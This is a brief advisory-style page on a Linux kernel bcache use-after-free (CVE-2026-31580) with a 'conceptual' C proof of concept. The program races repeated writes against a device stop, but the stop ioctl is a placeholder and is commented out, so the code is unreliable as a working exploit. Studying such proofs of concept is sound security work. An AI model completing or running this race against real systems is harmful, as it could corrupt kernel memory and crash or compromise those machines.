CVE-2026-31580 Linux内核bcache释放后利用漏洞

/* * Conceptual PoC for CVE-2026-31580 * Triggering a race condition between superblock write and device stop. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Define bcache ioctl if not available in headers #define BCACHE_IOCTL_STOP 0xdeadbeef // Placeholder for actual ioctl int main() { int fd; pid_t pid; printf("[+] Starting PoC for CVE-2026-31580\n"); // 1. Open the bcache device node fd = open("/dev/bcache0", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // 2. Create a child process to trigger superblock writes pid = fork(); if (pid == 0) { char buffer[4096]; while (1) { // Perform operations that trigger sb_bio usage (e.g., modifying cache settings) // This simulates the 'sb_write' activity write(fd, buffer, sizeof(buffer)); fsync(fd); } } // 3. Parent process attempts to stop the device // This should ideally race with the child's write operation sleep(1); // Wait for writes to initiate printf("[+] Attempting to stop device to trigger UAF...\n"); // The actual ioctl to stop the cached device // ioctl(fd, BCACHE_IOCTL_STOP, 0); // In a real scenario, unmounting or stopping the cache set here // while writes are active triggers the use-after-free in dc->sb_bio. close(fd); return 0; }